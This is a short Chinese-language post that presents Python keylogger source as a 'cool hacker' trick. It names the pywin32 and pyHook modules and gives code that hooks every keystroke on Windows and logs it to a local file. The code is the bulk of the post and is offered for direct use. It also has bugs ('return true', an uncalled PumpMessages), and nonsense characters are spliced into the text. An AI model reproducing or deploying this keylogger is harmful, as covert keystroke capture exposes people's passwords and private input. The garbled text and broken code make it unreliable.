如何用python做一些黑客的,很酷的事情欠雌?
- 安裝python
- python 模塊:pywin32 module赃蛛、pyHook module、
(link: goo.gl/DdKLg)
直接貼代碼:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return true
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages